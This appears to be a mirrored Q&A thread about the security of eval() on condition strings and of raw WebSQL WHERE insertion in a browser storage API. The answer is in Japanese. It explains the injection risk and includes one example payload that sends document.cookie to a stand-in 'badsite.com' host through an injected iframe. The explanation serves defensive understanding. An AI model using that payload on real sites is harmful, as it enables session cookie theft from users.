2

I've almost finished developing a script that exposes an API that can be used to uniformly perform storage operations on any of the web browser storage technologies.

The last bits of functionality that I'm working on are conditional retrieval and removal operations, which (of course) require a conditional expression to be supplied that will be evaluated (either using eval() or, in the case of webSQL, inserted directly after WHERE).

I'd need at least two full-blown parsers(one for webSQL, one for indexedDB) to verify the input as valid, but after a security assessment it seems as though parsing the input, or even sanitizing it, is unecessary.

I'm a bit unsure of the security implications of evaluating raw strings, so I'd appreciate some input on my security assessment:

User:

Evaluating input supplied either directly or indirectly by a user should be a non-issue due to the sanboxed nature of the storage technologies (he/she'd be manipulating data accessible only to him/her for a given origin), and the fact that nothing can be done with the API that can't be done by the user directly in the browser.

Third-parties:

Storage technologies obey the same-origin policy, and thus, cannot access the sandboxed storage areas belonging to other origins

I feel as though I've overlooked one or more possible security concerns in my assessment; is this the case? Or is the assessment (for the most part) correct?

4

1 に答える 1

1

本当の重要なセキュリティの質問は、条件文字列がどこから来るかです。文字列が常にユーザーからのものである限り、リスクはありません。ユーザーはevalとにかくJSコンソールから直接何でもできます。ユーザーが直接入力する以外の場所から文字列を取得できるようにすると、危険な領域に入ります。

サイトがコードでAPIスクリプトを使用しているとします。また、お気に入りの検索条件を保存できると仮定します。さらに、お気に入りの検索のリストを他のユーザーと共有できると仮定します。共有条件を表示すると、別のユーザーから提供された文字列が読み込まれます。

あなたの1人があなたに彼の保存された条件を表示するためのリンクを送ったとしましょう:

foo==5; e=document.createElement(iframe); e.src='http://badsite.com/stealcookies?'+document.cookie;document.body.appendChild(e);

条件をデータビューアにロードすると、Cookieデータが別のWebサイトに公開されただけです。

(とは対照的に)WebSQLインジェクションevalの場合、同じ種類の損傷が発生する可能性がありますが、JavaScript実行環境全体ではなく、データストアに限定されます。

于 2012-12-19T18:27:05.890 に答える